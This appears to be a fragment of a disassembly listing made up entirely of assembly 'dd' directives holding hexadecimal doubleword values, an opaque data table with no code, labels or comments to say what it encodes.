dd 73EE2962h, 35AA698h, 5002C3FDh, 4A2E22B8h, 0E0B023FCh
dd 9119F8Dh, 160CE95Fh, 316035DEh, 4B0A68C3h, 0EF463439h
dd 0A5156EF2h, 0B84C4420h, 99115003h, 53884A56h, 164D2FE9h
dd 2E6F0FBDh, 526A997Dh, 0E84EBA28h, 650B1225h, 4DD0294Eh
dd 1D3808C2h, 0C6FD51A2h, 8D8E2048h, 1DE9584Fh, 0BACEEE96h
dd 0A4C04927h, 8F042CACh, 0D106852h, 367431AAh, 6C267FE2h
dd 2B0251CCh, 342F1921h, 8BF4BA2Eh, 0CADB6EB8h, 520BB3ACh
dd 5C7A14F6h, 0FB90DC4h, 0CCEDECABh, 0B5592B9Eh, 5C16F997h
dd 78C97305h, 0BFF6C436h, 0DE25766Bh, 0C8C7D1A9h, 5E2801FAh
dd 2B216294h, 0E90B66CBh, 98551E8Ch, 4E31686Ch, 67173103h
dd 0C52A6E39h, 0C5920348h, 0E053B914h, 0AC0532E9h, 978E900Eh
dd 62346949h, 0E95E82ACh, 59836994h, 82C1A842h, 55B217BDh
dd 140EA0A3h, 0DAEBD713h, 4F96AF8Ch, 7B9AA755h, 1384435Ah
dd 85C33981h, 7A118C2Fh, 0A672106h, 9FA10105h, 2D0591D8h
dd 341537CEh, 584CCDBCh, 0AE014A00h, 2CDFE966h, 0AB85FC9Ch
dd 20ACE64Ch, 8340E005h, 47B8800Ah, 502E650Ch, 29046D31h
dd 0E9AC5BDFh, 0FDED8317h, 139BA68Eh, 200C41E9h, 0CED59783h
dd 9D27BD7Bh, 0C2B9FE4Ah, 0EB65F701h, 6D0DE986h, 37EB0141h
dd 29342C0Ah, 521720FBh, 0C14A4725h, 137E828Bh, 0CAA1EBB4h
dd 0CF66FC3Ah, 0F0FF9268h, 4FB73415h, 7EFEAD81h, 0D4FCE962h
dd 1C4D2DFBh, 0F7EB5812h, 0D758C95Ah, 0C1423F73h, 51EEA7CDh
dd 5701AD72h, 0F3F0947h, 0FDFEFC87h, 79E83B31h, 41D72102h
dd 27F44B19h, 0C5312CCDh, 0AF671698h, 0FCB51176h, 0C0997F5h
dd 8978EFFFh, 91E093E9h, 13BD285Ch, 17E2E19Ah, 21CB2901h
dd 5B87AB6h, 8F8A024Dh, 70341EE4h, 3A16F55Fh, 70281D24h
dd 9E5AFE2h, 84D34D7Dh, 88AA4DE9h, 4E13D409h, 18E91D30h
dd 0F36B0841h, 5E5C8534h, 7EB328BEh, 9F5AB240h, 72A9057h
dd 0F4ED4B68h, 65B71C85h, 9163429Bh, 3403FF0Bh, 0D6F35AEDh
dd 7D2C1BA8h, 3E7BE912h, 3F144FBDh, 0BD3E0670h, 66D3F6C0h
dd 0D82800FCh, 7F6818F2h, 33975F18h, 27E26C95h, 0DF202D95h
dd 559ED6C4h, 0B59F4BFh, 529AB116h, 0DE529ADDh, 29DF49B0h
dd 5EA744B9h, 66A304BBh, 5938C25Ah, 0F9D25007h, 78D97752h
dd 0F10B549Bh, 0D46E11E6h, 0B5C1EE91h, 0D03EBE27h, 0AA7F1738h
dd 0E4F13EFBh, 3B11CD3Eh, 0C1268609h, 63B64AFh, 4F090733h
dd 76ACC995h, 8277E9A5h, 3A01C22h, 0E290FC88h, 80045B58h
dd 0CAFEF8EAh, 6472CDABh, 0B12FE931h, 4B51513Ah, 5F271147h
dd 0CEDDFF2Bh, 28AC8263h
dd 6F08DCCDh, 54530B5Bh, 0AB83C7F7h, 0FC409512h, 0E2814200h
dd 129A3C25h, 43DA871Fh, 3FFDB7C8h, 52E8CE03h, 0F6B01605h
dd 3B164F13h, 0BF98942h, 0E598A24Bh, 141DE502h, 245DE61h
dd 1C3CDB21h, 7B35F6C1h, 0A4B84CC5h, 531592BDh, 70670705h
dd 680B31B3h, 365E3F85h, 615C55F2h, 307405E9h, 0F62006CDh
dd 0C3DB9529h, 0AC10C0A4h, 0AF4C695Eh, 75A53257h, 14B8CF9h
dd 0F45C5595h, 40C02420h, 15040593h, 89BC7944h, 517EEAF0h
dd 0C21C4F7h, 73E5D3C1h, 53F32DE3h, 0E984224Dh, 0F6FBEAF7h
dd 0BC2D0198h, 127BD05h, 704C361h, 89FBA2BFh, 75D955C0h
dd 0C0EB52E5h, 10C82E6h, 0F4CB205Fh, 24B8D610h, 3F023D5Dh
dd 4040A36Ch, 4852B229h, 5925F49Bh, 0E7802001h, 0B6A06F57h
dd 0C1E0F9EFh, 0F9283E16h, 0D85BEAF7h, 18F12808h, 263E06CDh
dd 53887424h, 1F9FB2C3h, 0B484A7DAh, 3213AEFCh, 0C2BBF2AEh
dd 5FFED66Fh, 571F92D3h, 0E464214Bh, 60DAF07Bh, 91BF1089h
dd 7B4CBC29h, 942F204Ah, 0DD2F3C80h, 5DA7B0FCh, 745D95B2h
dd 0F56EF0D2h, 0D8F688C7h, 8C0C6A90h, 3E03FC0h, 4437292Ch
dd 66F0EFC7h, 0FC969559h, 456ADCB7h, 6817A0E3h, 0CD0ADC2Ah
dd 7517C35Fh, 0D9AEAF56h, 58C22F81h, 0A36EDF5Ch, 380BCFB0h
dd 554A4D72h, 6E7DC192h, 5D118145h, 909BF23Fh, 0E0ED2812h
dd 0FAF73C4Eh, 0FE5D0C40h, 0CD304AEBh, 0D1B87F4Fh, 3535F94Ah
dd 0DF0B4D29h, 5312FEBBh, 38E88EE1h, 2A9A49D2h, 6590D49Ch
dd 217B5405h, 57C42910h, 98A6C4EAh, 1B4FE801h, 60C4F7ACh
dd 375E0FA1h, 0D39CD8A3h, 20CBFEE1h, 0E3F3E90Ch, 0CF0FBD3Eh
dd 443B9654h, 0B2D0E065h, 5853FBCAh, 0EA004B66h, 20F968CCh
dd 0DEBFD189h, 1FC6B6Ch, 602FE909h, 90DE2986h, 16C29859h
dd 0A125D136h, 74DFDD7Dh, 0D52E68A9h, 0FAC2DB3Ch, 0C162C8F9h
dd 0FE2D5A58h, 48BB9913h, 5A133447h, 0BEF45CF8h, 0A1A952Ah
dd 0F475452Bh, 7B604E76h, 4B012A6Bh, 16FE0EC1h, 0B12B0432h
dd 0C9D42A79h, 0E76CAD80h, 0F1BB5A0Fh, 2F9743E4h, 0D400CB2h
dd 0D9C5C213h, 55EC6CE1h, 0E30916C4h, 0B4B9104Dh, 0B6FD5925h
dd 8935B455h, 0EE9EBA23h, 82B223D7h, 0E71FE982h, 92EA0A5Ch
dd 0A43D8E03h, 767A026Dh, 29925BC2h, 53A00359h, 0B5DE8320h
dd 9FEC378Bh, 0C346CB35h, 7034C6A9h, 70A2C765h, 6E297584h
dd 6F7B6819h, 20F66493h, 0D7EC7AC6h, 0D0A0895Eh, 1C472D09h
dd 2CF53C44h, 0EF2104DCh, 0B1AA4F5Dh, 0FDB0204Ah, 4A292D48h
dd 0F43D6C3h, 0D59128E0h, 5BDD3142h, 7C4FDCC0h, 62EFD09Eh
dd 0F7FED3CAh, 854F704Eh, 0AD2C22C1h, 2F71D9DDh, 0FE92D83Ch
dd 4AAC7CC3h, 6FE2293Dh, 9735FFF7h, 6857E02Bh, 81291100h
dd 714038F2h, 90E9171Fh, 0B38A41B0h, 0F7CB80EDh, 0C022E398h
dd 0F3F208E6h, 0E5E96C1Bh, 0D55B8A7Eh, 0CC1D146h, 4A78ACD6h
dd 0B0D87920h, 0BF205568h, 85CE343Fh, 0DD53F1A7h, 22BB6083h
dd 0F1C528A0h, 2C9A081Dh, 44A1ED8Eh, 44C2E7E9h, 5135000Fh
dd 58BFB170h, 43C30BD3h, 470B3DD0h, 0E713F872h, 0E20E7129h
dd 4F7E047h, 2658285h, 145CBB53h, 56551E97h, 5712045Eh
dd 0F8E58169h, 5A074705h, 15602614h, 0C20ECEEAh, 4E654BE2h
dd 68DB101h, 510A1C08h, 744AD947h, 0A7868549h, 57F61AF1h
dd 35BDCAC9h, 2692D062h, 5564AD3Dh, 69F4EACDh, 0A6011471h
dd 0F280002Fh, 0D7881CB1h, 4BFE1F5Ah, 0AADC0996h, 0DF894062h
dd 3492F44Eh, 3C657720h, 80B9EEC0h, 0F001E3B8h, 5052665Ah
dd 0ECD0D8B4h, 8ED4F63Fh, 64FE3FCCh, 0A2C1E4C0h, 0D45572F2h
dd 49E009AAh, 0CE9F5EF4h, 0F7F154D2h, 0D6B2A22Eh, 8B8EA5ADh
dd 0B500BDF3h, 3DEAF4EEh, 0BA8DD250h, 0E4251EE6h, 1DC45067h
dd 96C102B8h, 0B616EF4Ch, 0E85FADA8h, 0CBB03D68h, 0D7CC7D45h
dd 7AC5DF40h, 0B0720A27h, 4DC80988h, 0DF56B1CDh, 0F309A0ACh
dd 219B750Ch, 6E8EB4C9h, 996FAB3h, 5D5C433Ch, 0C57FF28Eh
dd 13BF39ECh, 0A491B82Ah, 0A906A8AEh, 49A2B092h, 50018973h
dd 7F58C629h, 0AEA40AECh, 0AA0E39F4h, 0E7D060C2h, 0AE534A6Fh
dd 0C029C282h, 9F787C13h, 89E91556h, 86965713h, 0BDA8E919h
dd 2A715630h, 0BF676D35h, 0FFDF5882h, 595BFC77h, 59E44829h
dd 52ED141h, 0B46B2B34h, 0E3FA07E7h, 6A057C90h, 2DDB3B3Ch
dd 568E0EEh, 407CC309h, 4DE7701Eh, 5427362Eh, 6816E4CCh
dd 6D3419A5h, 935BFDAAh, 28B19615h, 64EF530h, 0FAB88880h
dd 0F463485Eh, 1380672Dh, 0AB11C30Dh, 360F3E78h, 0E453BE10h
dd 8CEA943Bh, 670B729h, 45BCD595h, 0A353E919h, 0FF30AC38h
dd 0C7C29D8Dh, 44B9E7D7h, 0B2B31214h, 0A1F2B94Fh, 1606BB2Eh
dd 909EFABDh, 0AAF9BD53h, 0B6A95F3Eh, 5F685D0Eh, 1DAE3BD8h
dd 546444A0h, 7691174Ch, 4A08A4D0h, 4143B4C2h, 0F57A7160h
dd 8008042Dh, 1CB6CDDDh, 52D2BF7Ah, 0D601C746h, 59F7409Ah
dd 58C38904h, 8DF48268h, 706D4E48h, 236568D8h, 0A7321C6h
dd 20CFBA3Dh, 585A5C22h, 510E72B9h, 88FF3404h, 0C025B79Dh
dd 804DBC25h, 48BCE688h, 61C2C253h, 0E9D02C7Eh, 54844EBAh
dd 0B4973B5Fh, 17414A90h, 0F1488803h, 6E974DE3h, 89AD4573h
dd 4E22E73Ch, 1EB5E417h, 5732A680h, 55808DEh, 2D0206A3h
dd 0DC685059h, 0F9967D70h, 526C120h, 951ED5BBh, 0EF5F85EFh
dd 4003BD2Ch, 7B0BB96Eh, 62277F41h, 0BFDC5786h, 0CB09760Ah
dd 0F45BD989h, 50410688h, 3273F656h, 0EC731728h, 6D4B4A09h
dd 705A788Dh, 0C112BF10h, 0AFCB7F84h, 4F785145h, 0B0C04AB8h
dd 0E919025Ch, 75B05A4Ah, 81315A58h, 567134h, 9F401E68h
dd 99F1AD9Bh, 6BF36F10h, 0A4C51C12h, 301ECB70h, 4EC844A6h
dd 0AA0512CEh, 6A3086E1h, 23BD8042h, 4538F0E3h, 78CCC4C2h
dd 0B846E020h, 0D85F325Bh, 39F8972Eh, 2D2EB12Eh, 283C8B19h
dd 9280B120h, 5AB3F842h, 7C73543Ch, 0D72A6804h, 3317AE3Dh
dd 26677C6h, 0A1DCB5F5h, 16428904h, 0BD306EDDh, 2D714AD6h
dd 5A12B46Fh, 0C0BFE29Fh, 0B3112CBh, 0D2F764A5h, 181A5C74h
dd 0B4095D13h, 50E9315Eh, 743701B3h, 6DE96EB0h, 0E8F053D9h
dd 295745B9h, 75C9DECFh, 22E4F747h, 1C572117h, 7E32F08h
dd 751FCBBBh, 0C9F0AE15h, 37A7ED0h, 1EB831Eh, 431CD1E9h
dd 0C080B050h, 6E0C04E0h, 2C851D34h, 30C10E95h, 0CB285840h
dd 24F526E9h, 0E29DC293h, 0C3913889h, 0A96C124Ch, 0E430120h
dd 7E41BE56h, 0C0411AF2h, 0E5043272h, 81711D65h, 2FA57D31h
dd 0EEEC7DDDh, 3DE89725h, 0E0243317h, 7E2D08F0h, 9A4842ABh
dd 284BDE0Bh, 0EF2CD287h, 8F5CF585h, 2F00F265h, 0DA12F511h
dd 0DADB9909h, 0D2085112h, 0EAB309BCh, 0BD0BEA76h, 479AD5F6h
dd 0FDF8A9FFh, 45BF274Eh, 0A7F9882Eh, 0E4DEF60Eh, 0ACB86F42h
dd 0C75F6889h, 9538A8B5h, 0CBC8B8CAh, 5881DF3Bh, 0E8AAA444h
dd 543750E5h, 436C2B01h, 1EEFE942h, 5547F36Bh, 0C9DDF04Ah
dd 0FB0F94B7h, 38BB1864h, 6A285C47h, 6E3B0BE3h, 56BAEh
dd 1B83C7A1h, 968A967Dh, 0F0F5C408h, 9BA0511Ah, 0E183668Ch
dd 0BB45CD40h, 419737A4h, 0F9269417h, 5FF882E0h, 7A58D505h
dd 39102D1Dh, 0DD1F34D3h, 0D1800728h, 8181416Fh, 30187B30h
dd 440C626Ah, 2E5A822Fh, 0F2010A81h, 0BC480660h, 92F0EB39h
dd 0E105A3B0h, 296D0970h, 92EBA2FAh, 6E8CE13h, 6B2E0900h
dd 0B951430Ch, 9D27800Ch
dd 187E7420h, 0C37694Dh, 0BE3E55C5h, 39C9037Fh, 0DA484C44h
dd 7ECC55E6h, 0DF40CD04h, 0D1AA093Ch, 0C1BD07E1h, 97187BC1h
dd 25660370h, 0F50DD2h, 2D7F2C5Ah, 80279E4Ch, 0F16FFBF3h
dd 0A04EE907h, 0C1EF5F84h, 0F5606904h, 9C7A9233h, 0D1BE4FC0h
dd 0F4957E44h, 17C39462h, 0A030FC8Bh, 0FBE95AD1h, 0BE053792h
dd 92835DE1h, 0D082291h, 0B56A8CD8h, 2D8F42F7h, 62960789h
dd 0D4D02927h, 275FC095h, 503B4344h, 4E135AE9h, 18337E2h
dd 32D2E9CDh, 271230C8h, 0FCC26697h, 40949417h, 68134C50h
dd 0F606AF6h, 2246E117h, 27667B62h, 1BFF6F7Bh, 0BF08021Dh
dd 6CC5477Fh, 4909A960h, 0E9719704h, 0E7ACF368h, 0CF313598h
dd 8C5F9E4h, 802D1F7h, 5F495CE9h, 0B62D9F4Ch, 4F371947h
dd 9B83146Bh, 0F527C203h, 8AE11E2Eh, 4E5E010Eh, 91F443DCh
dd 0E966A790h, 31315348h, 0C2216614h, 44ACB870h, 1E4FB24Fh
dd 0FA2C10E3h, 4D725B1h, 0D8BE5F33h, 4F4021B5h, 99E59F09h
dd 0C02729A4h, 25E99731h, 9B721A08h, 0BFE28320h, 527217E0h
dd 0A0165B22h, 0B2F454Eh, 0DE949CEh, 6B6E32C2h, 0EAC7439Dh
dd 8598DD43h, 0B9807A73h, 97670053h, 3F18163h, 44342529h
dd 0C80B84C1h, 0A1D790C8h, 0C28B032Eh, 52D98951h, 7212224Eh
dd 72F5E2E8h, 0B265CE2Bh, 0F59D55A0h, 0EF8DB18h, 99F656AAh
dd 9546CE93h, 7A48D366h, 9CCAEA9Ch, 6FE6014Ah, 2035D554h
dd 6B16914Bh, 83022542h, 40A163D3h, 1D8EEDDBh, 8247E11Ah
dd 0E07C70CDh, 0CF51D60h, 5ACA323Eh, 0C52EFEFDh, 0CCF30418h
dd 0D5F0FF31h, 0F6D2029Eh, 67FDE9E7h, 0E3A5985Dh, 4BD19B46h
dd 0B316EB05h, 212E140Dh, 4AA997F9h, 8D185B3Eh, 2BB9CCDFh
dd 65C00914h, 7F0607C9h, 3A6C4385h, 46C81236h, 12CDAF31h
dd 0F534FC7Eh, 112028AFh, 0F19953E5h, 71E7ADB8h, 931559Dh
dd 719C4751h, 3B636275h, 0B3EFC14h, 2353DB8h, 4125E67Fh
dd 0B6A06CEh, 0A05513E2h, 7528CAA2h, 86234860h, 7FC9C24Ah
dd 43772CC0h, 0D001260Ah, 0BA34072Dh, 0F5DAECABh, 8400B2AAh
dd 31AF2DA1h, 0A5A4CEF5h, 80CFD510h, 9E97D425h, 883144A9h
dd 0DD84BAC3h, 73B2E0C1h, 2DFBF2D8h, 3B4029E9h, 610F2DADh
dd 6F4DC53Ah, 35B2166Bh, 0FCB16C50h, 6385FD3h, 0BAD9F7CCh
dd 0DF0D3E09h, 0FE8F5712h, 6B66EDA9h, 1D09BF7Fh, 82472CC5h
dd 55C69DC2h, 0C408EB65h, 0C8290EE1h, 3EF23AEBh, 4A8AB912h
dd 0FA1F7DACh, 0A15B972Fh, 2CBE2E6Ah, 40F180B8h, 0C48712Fh
dd 83576914h, 0B7B17C89h, 126BD66Ch, 560A022h, 0C433200Fh
dd 87E88044h, 19601106h, 9229018h, 93E91AACh, 0D9DD9D67h
dd 46DDCBDBh, 18DD5AF6h, 6B796A99h, 0CF6560BFh, 0BD20CB0Fh
dd 5654177h, 7F7CE86Eh, 202E6E2Eh, 8B2A5151h, 0E23441E1h
dd 1538CA83h, 40ECAA84h, 0A2E8D2C9h, 0E1912CC9h, 820FB589h
dd 0BFAC3F5h, 75979FF8h, 0FEDD218Dh, 5EB90978h, 0F52D5A07h
dd 745E05E3h, 5B07A132h, 0E945303Eh, 799D5958h, 29AC8A08h
dd 9B56C96Ah, 0A807DCC9h, 89014FC4h, 9A7CFA0Bh, 16F1DF49h
dd 2B92C39Eh, 564B4BAEh, 9F20967Dh, 529296D3h, 4BE98088h
dd 0BAD407DAh, 2ED0B39Dh, 74782BD7h, 8C68016h, 8B6F1DAFh
dd 0A0FF9DC1h, 25E939FAh, 833ADE58h, 2A2F68C3h, 10C45316h
dd 0E2107A9Fh, 0C796505Fh, 0C3BA6CC0h, 5F129221h, 0A5139252h
dd 0EFA0F0D7h, 0C5ED5DE2h, 2F4E1828h, 0D38530E2h, 0BAFD4C3Ch
dd 0CB09BE67h, 5F289F1Fh, 0D4683910h, 56F2434Ah, 694221D3h
dd 78043348h, 4A13425Ah, 0D6A246FEh, 9A2C4B61h, 0A3C2B821h
dd 625907D5h, 9CC03F6h, 1CC0B3E0h, 570AD1B8h, 55050471h
dd 810BCB51h, 0C160C9A1h, 20D23B6Ah, 4FB7695Fh, 78B90A20h
dd 0E150BF58h, 4D6FE0B7h, 1ED82C2Bh, 0CF2958B8h, 54E917C4h
dd 0BF5B48F8h, 0C425B52Bh, 340ECF7Dh, 0FEADBE0Ch, 36E957A0h
dd 2844885Eh, 5809D5B2h, 80032440h, 7E096425h, 0E95E4060h
dd 0FE4EF098h, 5D10B8F7h, 52561AA8h, 5FD76326h, 0B896301Ah
dd 0D64F48C5h, 5609C5EDh, 0F12437E9h, 0CCC0EE5Eh, 5C1763D2h
dd 0EF040929h, 0A0D42180h, 5B17FD4Ah, 3EE03ECh, 56F00F4Ch
dd 76241804h, 82FEE679h, 0D17F3127h, 0BE8A770h, 76BEA2E9h
dd 0ABDB209h, 0AC080F1Fh, 290B8894h, 2A9AF569h, 0F0EAF210h
dd 0C0627995h, 25DD6856h, 1E3085A8h, 0CE21D3C6h, 2832A02Fh
dd 2649B720h, 0F6A8E05Dh, 31099CB3h, 0BD9EDD10h, 6135E30Fh
dd 0D501B344h, 2F940AE8h, 171A4170h, 0AC215706h, 9BD004E1h
dd 80BED354h, 0E9DA29A2h, 0F8DEFF7Bh, 21EF9234h, 0F2EB56C5h
dd 0C37C7A6Eh, 18C5F235h, 68B001A8h, 0E8947FABh, 5DA58D62h
dd 0CA623D7Eh, 86515516h, 1792BA60h, 1D62BCC5h, 277A9CF9h
dd 39D18487h, 372BC04h, 4B3C7805h, 3554AD10h, 0BF0097D2h
dd 7189172Fh, 0ACF05029h, 3C7AB31Dh, 0D007BCA7h, 0EF72E1BDh
dd 0B447061h, 0D058E70Bh, 2AA0F729h, 0CFB8A54Eh, 3BAFE915h
dd 0E11F51CEh, 5A0864E3h, 1CE28102h, 4015932Ah, 253D89EEh
dd 0AC547C90h, 0B6C7872h, 6C7D3572h, 0F9AF8277h, 8C000992h
dd 8F7E29C3h, 2FB4374Ch, 5A23207Dh, 7710E105h, 0A453FA92h
dd 45DE9D83h, 561AB824h, 680B7F93h, 3C6C015Fh, 36A7B285h
dd 28670F40h, 0D8BA26D2h, 5B5EDF20h, 0AAE76DA8h, 59D983C7h
dd 5FB16CF0h, 0AD9631E9h, 532D848h, 0E87D80D7h, 0E97A0401h
dd 4EFAF848h, 890C78EEh, 67FC3FF9h, 70A268A0h, 0FB0BC89Bh
dd 4B2D51B0h, 3F3BD321h, 0E7FE2084h, 0AB309409h, 5D048073h
dd 0BF09F140h, 2A5A13C1h, 0C1E400ADh, 81D1B770h, 8ED2EB69h
dd 8C3FAC64h, 9E402751h, 0BAEE4B89h, 9F448598h, 0EA2D1152h
dd 0BD32D314h, 0C4E0D1A5h, 0F00B8AB9h, 0DD057D77h, 0E95107E0h
dd 48263925h, 880D4440h, 1E138DEEh, 0D0BF0E68h, 5A856E76h
dd 5505B925h, 2101FAC1h, 9E972177h, 0F8165B62h, 0EFA492B8h
dd 1C8AD4F2h, 2FC68BF2h, 45684E00h, 0B3269A99h, 96A7475Bh
dd 12320D3h, 97D15097h, 0A8C2DAB0h, 0C1943D26h, 1007EA00h
dd 0ED011968h, 0D0081CA0h, 5D2F141Ch, 0B0253FF4h, 82A06DC1h
dd 5A5D7162h, 0DE8F26BCh, 0CB51678Dh, 17084CDCh, 96BD002Fh
dd 29947BC3h, 3FD9F1F7h, 0B5B4A217h, 0CB500CCCh, 0CA0E4A03h
dd 8BFDC217h, 9518B0E4h, 7F539B41h, 0A22AD539h, 0E3A19368h
dd 0D5810D3Dh, 401663E9h, 9B0EE85Fh, 5F43EB58h, 0C2D729B9h
dd 316AC7EFh, 4A42B3F4h, 0EB1EDF33h, 760278D2h, 60B3589Bh
dd 781CF644h, 0E92C094Bh, 2A7AEF15h, 0A40CD0Ah, 0E20B86BFh
dd 7ADBDE50h, 2D033D7Bh, 1D800Bh, 3301852Ah, 0CE94538h
dd 165FCD59h, 89AF7368h, 0D7CF3049h, 624B1912h, 3694BE03h
dd 0C28395F6h, 329DF034h, 0E9FD1689h, 0E86FC60Bh, 7D5A4294h
dd 7E216565h, 96C8210Bh, 0C0092C94h, 0BBD816E2h, 0F7F6FD76h
dd 59F970ADh, 31FB4416h, 7EB9E979h, 6E05FA12h, 0B6B4FB2Ah
dd 320C5FC3h, 9CD55118h, 22DEA106h, 3BA7C74h, 70551371h
dd 0C9E2D2F7h, 0E9EB1650h, 0CDA964C2h, 3940270Fh, 26D5640Eh
dd 0A84E2EB7h, 568C05D4h, 14C26CEFh, 6839DC59h, 6D160391h
dd 1ACC72A7h, 7A5B72C4h, 58C63DE8h, 0CE0007DCh, 81290C41h
dd 0F1321C9h, 0D3BE2070h, 7CEF5877h, 0C4255340h, 3FD065FEh
dd 2FD9EC9Fh, 0EB125DC7h, 0CDE86AAh, 353E120Bh, 804BFA46h
dd 4FE95508h, 4E6DE809h
dd 0EBE6A49Ch, 8CC9A004h, 739F1117h, 0E9C282A3h, 0CC5224F7h
dd 0E784B55Ah, 0A2C5F2FBh, 0B5B2605Ch, 0ECEBE04Bh, 7D681759h
dd 0C229BC27h, 46D8F664h, 88C8BE94h, 0F2284594h, 0CD661B16h
dd 778166E8h, 85446756h, 7442610Ch, 59F280FAh, 0D095881Bh
dd 4F5B09BCh, 32903AC7h, 2C93AE19h, 2AEF4427h, 8E86FEE7h
dd 0B6E90B6Ah, 4CFDFECFh, 6068123Ah, 4C5350Ah, 0EF263F47h
dd 4AAA1C65h, 41BD6672h, 6BFEC10Dh, 975BA438h, 0A320EC34h
dd 991908Ah, 3F3A7743h, 203DDF2h, 62D4F381h, 7E318240h
dd 0E7CE0E38h, 0E97F3C00h, 0D6956036h, 12B65B71h, 278DFCBDh
dd 0C8C4B976h, 10809E89h, 27F253CCh, 207A478Fh, 0AA27773h
dd 2D33767Dh, 0E9507374h, 0A50F5ED0h, 0CB6FAFFCh, 0AD35F1D3h
dd 158E617Fh, 0F6680081h, 0BF135A06h, 0B2E67B13h, 0E152E90Ch
dd 10E0689Ch, 20CAC6B5h, 0BD016CB3h, 7E0E78FCh, 0D041E5D1h
dd 800073F0h, 5A13E0C3h, 0CABEEB28h, 800F1F50h, 0CB129F5Ch
dd 41FAAEA0h, 0E0066562h, 0D5D48B58h, 0B2130941h, 0D5805FA7h
dd 65DE6808h, 0E03966BDh, 3D5F390Ah, 0E9FA3104h, 1D35B8DBh
dd 8CCDC6FEh, 9560CAF3h, 0CC01EB0h, 409FD299h, 5EBFBE3Bh
dd 313E1D3Dh, 0D0211FF3h, 177ACC2Dh, 6458F568h, 0B5F8ABCEh
dd 72A4E04Bh, 84E3633Ch, 31707BBBh, 0E9CB8A80h, 0B98C499Dh
dd 0F2C67885h, 8BB85A2Ch, 476C6109h, 6E36827Dh, 78BAA2C9h
dd 6917540Bh, 56CF07Fh, 0C11E2005h, 3BCF10Ah, 0BFB45B07h
dd 5D2D83FCh, 82D690F5h, 99E92673h, 381BD30h, 28F2C480h
dd 0D6ECD5F4h, 6E5559C9h, 45A8C9FCh, 2E9846B2h, 6B444C12h
dd 6883A4BAh, 0F41A9729h, 4C3954A7h, 0F31E90Bh, 0D2F63E99h
dd 7C0FFB2Bh, 0A167848Fh, 24F24FA4h, 802A659h, 71244FEFh
dd 3035B103h, 0BFF5D9CEh, 0F728AD35h, 0FA36EB34h, 5B6A2688h
dd 0C7A1B93Bh, 33D4DC88h, 0A35A31B0h, 2CBC8567h, 0C218A35Bh
dd 0FE354CE9h, 52349210h, 8CCBAFD7h, 6116B8D4h, 9537FF08h
dd 80F53992h, 0BE7BD377h, 8E894E7Fh, 0F2151600h, 50A428h
dd 0D21227B8h, 58C52156h, 829B70F3h, 7B416F02h, 0FD9CD3E9h
dd 1A931A4Eh, 177C6D88h, 68BA9801h, 1610C12Dh, 885B03Eh
dd 64A67C62h, 56602505h, 5A0D8C06h, 5FF9744Dh, 69B0B231h
dd 6267F772h, 58BC8E08h, 301243C3h, 84FA45E6h, 2C0813FEh
dd 3358FFD4h, 8E02C605h, 0DF40B551h, 50581B72h, 0F98A12D2h
dd 0C8D50C0h, 0C6444AE5h, 550FF9FDh, 79FEE954h, 0BC3FEF3Fh
dd 4FEE4045h, 602C1E31h, 187347A2h, 0BD13B8D0h, 4239ABFEh
dd 0F0D61E79h, 1A4AD2D9h, 82EBBF3h, 0D0288174h, 315A952Ch
dd 56AF01A2h, 0EE2B9531h, 6C0D01A2h, 0F5291209h, 842EDE1h
dd 67C5775Eh, 0DD96E989h, 51165146h, 17BE8608h, 0FDC7BB25h
dd 0F6E9D170h, 4B0EB215h, 0C0D5FE28h, 68B080ACh, 0FFC4404Ch
dd 0CCBB481Eh, 42BFFA46h, 544CD513h, 29176818h, 827A3133h
dd 71105160h, 3FB47C82h, 0C961B72Dh, 2954E209h, 5907F3C0h
dd 0AC6F4BC7h, 0F90C0113h, 0CCE9DF66h, 2A80FC7Ch, 4A070E44h
dd 2F0C58B8h, 0FD4D473Fh, 0C84101F2h, 0D731EC18h, 4FDFEC5Ah
dd 3FF8FAA0h, 0D69D6D2Fh, 9FFD2086h, 602D7754h, 9F517CCDh
dd 20322620h, 0E4A03766h, 149FFAB0h, 9D38F818h, 2F55310Bh
dd 6182934Ah, 9612A256h, 416B56B6h, 2808B80Ch, 8EB2832h
dd 0E0ECE927h, 0B3F18874h, 905FA5D2h, 0B5D07D37h, 66931C7Bh
dd 83A846EFh, 15B744BCh, 5753165Bh, 94C1341h, 147F4D7Ch
dd 0E6D4957Ah, 5E26E970h, 354D27A4h, 8EB8F9E3h, 0AC4F102Ah
dd 2D963666h, 0C76815C8h, 38483666h, 5206AC1Fh, 5304FA17h
dd 0BA0FAFB8h, 961B5F22h, 559EC255h, 704EC9C2h, 22EF4925h
dd 0ACEB3DA8h, 0BD40FCC6h, 0BDEA6A58h, 0FC884E12h, 0DC98400h
dd 0FF29047Fh, 8042131h, 0E31EFDE4h, 12A5CC2Fh, 0E543F16h
dd 902F08B8h, 0B5BB3EFDh, 0F195B84Eh, 0E54D6271h, 9308E908h
dd 977C2D3Ch, 44078720h, 477C7313h, 0F1E0D7F5h, 0D1D912F7h
dd 383458E1h, 55825B3Fh, 6B015E61h, 81071035h, 0F40191Bh
dd 9F3EB368h, 22B1E3D1h, 7730DB29h, 424F407Dh, 0A217C0B8h
dd 0AF176267h, 2E5EF504h, 74048CEEh, 843FF341h, 9FBCEA43h
dd 0EB4F5B3Bh, 0CBE92902h, 59BFC949h, 78B7B42Bh, 0A7546858h
dd 0FE306292h, 0BF45D25Eh, 19F87E25h, 395B8358h, 3BC196B4h
dd 5200E83Ah, 7219ABBAh, 0B77E6BA6h, 90D747Fh, 0ABD4EEAEh
dd 7F7CC09Eh, 845A0548h, 4138675h, 402EFB1Ah, 3543B6EDh
dd 3FF5EC25h, 9B048D05h, 0FB5DEA31h, 0B499F914h, 1E697DE6h
dd 0CCCF5155h, 5C416A78h, 1EF2AD7Bh, 79960CEFh, 0A1E6D0ABh
dd 354C1B68h, 0AB620595h, 44AEAE75h, 0EA27FB29h, 0AC9C8B24h
dd 129095C7h, 909F4970h, 1812F593h, 0E4035F35h, 0A052DF0h
dd 861CE92Ch, 6F008AEAh, 0A054E551h, 28BCF553h, 152FC066h
dd 81AC6828h, 5077D6B7h, 6425E9EBh, 47DDD92Eh, 0F22D8896h
dd 6A1D27D0h, 0DF88E3D3h, 2007288Dh, 80071C91h, 0D98816EBh
dd 1213C7A3h, 0FF1B2C14h, 0F6D54260h, 0BA8069D1h, 662C2850h
dd 0D5274453h, 30B44B14h, 0FEF7B760h, 12F658CFh, 14804610h
dd 4F98C529h, 58EC00EBh, 0EC3B6E05h, 97FAA8CEh, 0F2EB1652h
dd 1ED7D071h, 75277A4Ah, 0FA5BD2CEh, 3166B503h, 78E2C2CAh
